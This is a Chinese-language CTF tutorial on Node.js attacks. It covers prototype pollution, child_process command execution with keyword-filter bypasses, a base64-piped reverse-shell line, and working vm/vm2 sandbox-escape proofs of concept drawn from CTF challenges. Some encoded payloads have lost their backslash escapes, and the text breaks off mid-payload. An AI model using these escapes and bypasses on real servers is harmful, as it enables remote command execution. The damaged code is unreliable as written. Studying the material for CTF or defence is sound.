零基礎學黑客領資料
搜公眾號:白帽子左一
關于原型鏈
在JAVAscript中,繼承的整個過程就稱為該類的原型鏈。
每個對象的都有一個指向他的原型(prototype)的內部鏈接,這個原型對象又有它自己的原型,一直到null為止。
在JavaScript中一切皆對象,因為所有的變量,函數,數組,對象 都始于object的原型即object.prototype,但只有類有對象,對象沒有,對象有的是__proto__。
like:
日期時:
f -> Data.prototype -> object.prototype->null
函數時:
d -> function.prototype -> object.prototype->null
數組時:
c -> array.prototype -> object.prototype->null
類時:
b -> a.prototype -> object.prototype->null
當要使用或輸出一個變量時:首先會在本層中搜索相應的變量,如果不存在的話,就會向上搜索,即在自己的父類中搜索,當父類中也沒有時,就會向祖父類搜索,直到指向null,如果此時還沒有搜索到,就會返回 undefined。
根據上圖可知,訪問f1原型的三種方式:
console.log(f1["__proto__"])
console.log(f1.__proto__)
console.log(f1.constructor.prototype) #這樣可以看出對象的__proto__屬性,指向類的原型對象prototype
而訪問到函數的方式則為:
console.log(f1.constructor.constructor) #這樣我們就獲取到了Function,可以構造出匿名函數來進行命令執行了。
關于merge函數
在js當中如果存在使用merge函數或clone函數的情況下,可能會產生原型鏈污染。
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
merge函數首先迭代第二個對象b上的所有屬性(因為在相同的鍵值對的情況下,第二個對象是優先的)。
如果屬性同時存在于第一個和第二個參數上,并且它們都是Object類型,那么Merge函數將重新開始合并它。
在這里可以控制b[attr]的值,將attr設為__proto__,也可以控制b中proto屬性內的值,那當遞歸時,a[attr]在某個點實際上將指向對象a的原型,至此通過遞歸我們向所有對象添加一個新屬性。
需要配合JSON.parse使得我們輸入的__proto__被解析成鍵名,JSON解析的情況下,__proto__會被認為是一個真正的“鍵名”,而不代表“原型”,否則它只會被當作當前對象的”原型“而不會向上影響
>let o2 = {a: 1, "__proto__": {b: 2}}
>merge({}, o2)
<undefined
>o2.__proto__
<{b: 2}
>console.log({}.b)
<undefined //并未污染原型
>let o3 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
>merge({},o3)
<undefined
>console.log({}.b)
<2 //成功污染
關于child_process
nodejs基于事件驅動來處理并發,本身是單線程模式運行的。Nodejs通過使用child_process模塊來生成多個子進程來處理其他事物。
在child_process中有七個方法它們分別為:execFileSync、spawnSync,execSync、fork、exec、execFile、以及spawn,而這些方法使用到的都是spawn()方法。
在Nodejs中,nodejs通過使用child_process模塊來生成多個子進程來處理其他事物就包括4個異步進程函數分別為spawn,exec,execFile,fork和3個同步進程函數spawnSync,execFileSync,execSync。
關于nodejs的命令執行
對于nodejs我們嘗試用require來開啟子進程進行命令執行。
假設題目需要繞過一些敏感字符,如exec,所以我們有多種方法即字符串拼接或者字符串的編碼轉換,在nodejs當中,對于十六進制編碼與unicode編碼都是適應的。
所以原先的:eval=require("child_process").execSync('cat fl001g.txt')
可以轉變為:eval=require("child_process")['exe'%2b'cSync']('cat fl001g.txt')
或者是:eval=require("child_process")["x65x78x65x63x53x79x6ex63"]('cat fl001g.txt')
以及unicode編碼:eval=require("child_process")["u0065u0078u0065u0063u0053x79x6ex63"]('cat fl001g.txt')
包括模板字符串:eval=require(%22child_process%22)[${${exe}cSync}](%27ls%27)。
文件讀取
有些時候只是為了讀取文件的話,可以直接利用fs模塊。
Node.js 文件系統(fs 模塊)模塊中的方法均有異步和同步版本,例如讀取文件內容的函數有異步的 fs.readFile() 和同步的 fs.readFileSync()。
并且我們可以利用fs模塊來進行目錄的查看:
fs.readdir(path, callback)
除此之外進行文件的寫入也可以,直接寫入一個js文件通過調用child_process來編寫一個shell。
eval=require(%22fs%22).writeFileSync('input.txt', 'sss')
如果具有權限,完全還可以利用unlink把ssh key給刪除然后在重新寫入。
關于nodejs中spawn與exec的區別
異步函數spawn是最基本的創建子進程的函數,其他三個異步函數都是對spawn不同程度的封裝,即exec,execfile,fork。
所以他們的區別就是spawn只能運行指定的程序,參數需要在列表中給出,而exec可以直接運行復雜的命令。
要運行du -sh /disk1命令, 使用spawn函數需要寫成spawn('du', [''-sh ', '/disk1']),而使用exec函數時,可以直接寫成exec('du -sh /disk1')。
當require被禁用時
我們可以使用通過global全局對象加載模塊來調用子進程。
global.process.mainModule.constructor._load('child_process').exec('ls');
利用Function進行執行:
Function("global.process.mainModule.constructor._load('child_process').exec('ls')")();
利用setInterval進行命令執行:
setInteval(function, 2000) #即間隔兩秒
利用setTimeout進行命令執行:
setTimeout(function, 2000) #即兩秒后執行
關于反彈shell
在nodejs當中與java有些類似,反彈shell需要進行一些額外的編碼解碼才能夠規避掉一些敏感詞,例如+號
shell反彈:
code=require('child_process').exec('cmd'|base64 -d|bash');
對于vm&&vm2
vm2調用者vm的api,vm2在vm的基礎上創建了一層沙箱。
在創建vm環境時,主要就是創建一個隔絕的環境,將執行代碼放入隔絕的上下文當中。
在這里vm.Script(code)就是我們要執行的部分,而vm.createContext(example)是創建的隔離對象,但是example并沒有被進行限制,導致能夠訪問原型,根據上面的圖我們可以構造欻匿名函數:
const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
所以,在vm當中逃逸就用到了這種創建函數的方式:
因為這個函數的是依托于main函數,所以逃脫了限制。
進一步執行命令也就是利用含函數調用child_process以及mainMoudle來進行。
this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()
對于vm2,vm2攔截了對 constructor 和 __proto__ 屬性的訪問,導致我們無法逃脫沙箱,掛載在原型下,而vm2的sadbox.js對常見的命令執行的函數進行了過濾,比如 setTimeout,setInterval 等。
通常對于vm2調用方法就簡便上一些:
而這其中其實現的方式與vm是相同的。
const script = new VMScript("let test = 1;test"); (vm2)--> const cmd = new vm.Script("this.constructor.constructor('return this.process.config')()"); (vm1)
let vm = new VM() (vm2)--> const context = vm.createContext(sandbox) (vm1)
vm.run(script) (vm2) --> dir = cmd.runInContext(context) (vm1)
對于第二步,在其中就是創建了一個沙箱環境:
1. 調用vm.createContext創建上下文context
2. 調用lib目錄下的sandbox.js對其進行封裝,生成一個匿名函數
3. 將這個匿名函數的this為context
導致我們無法對其造成污染:
追溯在github當中可以發現一些繞過的方法:
Breakout in v3.6.9:https://github.com/patriksimek/vm2/issues/186
Breakout in v3.8.3:https://github.com/patriksimek/vm2/issues/225
#Breakout in v3.8.3
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
這里是利用buffer.from創建一個代理拋出異常throw f=>f.constructor("return process")()被vm2內部代碼給捕獲,再被catch給捕獲,此時由于對() => {}不正確的處理導致了沙箱的逃逸。
hackim-2019
在vm2當中,可以通過制造錯誤,引起外部報錯,再捕獲外部的報錯來判斷是否存在vm2。
在這里通過報錯可以發現,服務器使用了vm2.
使用v3.6.9的poc:
"use strict";
const {VM} = require('vm2');
const untrusted = `
var process;
try{
Object.defineProperty(Buffer.from(""),"",{
value:new Proxy({},{
getPrototypeOf(target){
if(this.t)
throw Buffer.from;
this.t=true;
return Object.getPrototypeOf(target);
}
})
});
}catch(e){
process = e.constructor("return process")();
}
process.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
執行命令即可獲取flag。
關于模板字符串利用
模板字符串(template string)是增強版的字符串,用反引號(`)標識。
它可以當作普通字符串使用,也可以用來定義多行字符串,或者在字符串中嵌入變量,而如果在模板字符串中需要使用反引號,則前面要用反斜杠轉義,另外在模板字符串中嵌入變量需要將變量名卸載${}當中。
利用模板字符串,我們可以生成一種嵌套模板
`${`${`constructo`}r`}` 拼接完之后可以變為 constructor
解析的順序就是:`${`constructor`}`--->constructor
HUFUCTF just_escape
在虎符ctf中,就出現了利用模板嵌套來進行繞過,題目用的是vm2,利用poc就可以執行命令,但是題目過濾了一些關鍵詞,導致poc需要進行一些更改,我們十六進制以及unicode編碼或者就是模板嵌套可以進行繞過。
(function (){
TypeError[`${`${`protot`}ype`}`][`${`${`get_proc`}esss`}`] = f=>f[`${`${`construc`}tor`}`](`${`${`return this.proc`}ess`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proc`}ess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
}
})()
或者是:
(function(){TypeError[`x70x72x6fx74x6fx74x79x70x65`][`x67x65x74x5fx70x72x6fx63x65x73x73`] = f=>f[`x
作者:ophxc軒 ,原文地址:https://xz.aliyun.com/t/9167